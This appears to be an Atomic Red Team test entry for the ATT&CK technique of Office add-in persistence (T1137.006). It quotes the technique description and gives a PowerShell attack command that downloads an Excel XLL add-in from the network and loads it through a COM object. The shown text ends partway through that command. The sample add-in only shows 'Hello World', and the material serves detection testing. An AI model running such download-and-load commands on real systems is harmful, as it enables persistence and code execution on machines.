T1137.006 - Add-ins

Description from ATT&CK

> Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018) Add-ins can be used to obtain persistence because they can be set to execute code when an Office application starts.

Atomic Tests

- Atomic Test #1 - Code Executed Via Excel Add-in File (Xll)

Atomic Test #1 - Code Executed Via Excel Add-in File (Xll)

Downloads a XLL file and loads it using the excel add-ins library. This causes excel to display the message "Hello World" Source of XLL - https://github.com/edparcell/HelloWorldXll

Supported Platforms: Windows

auto_generated_guid: 441b1a0f-a771-428a-8af0-e99e4698cda3

Inputs:

Name	Description	Type	Default Value
xll_url	url of the file HelloWorldXll.xll	Url	https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/HelloWorldXll.xll
local_file	name of the xll file	Path	$env:tmp\HelloWorldXll.xll

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
powershell -c "iwr -URI '#{xll_url}' -o '#{local_file}'; IEX ((new-object -ComObje
```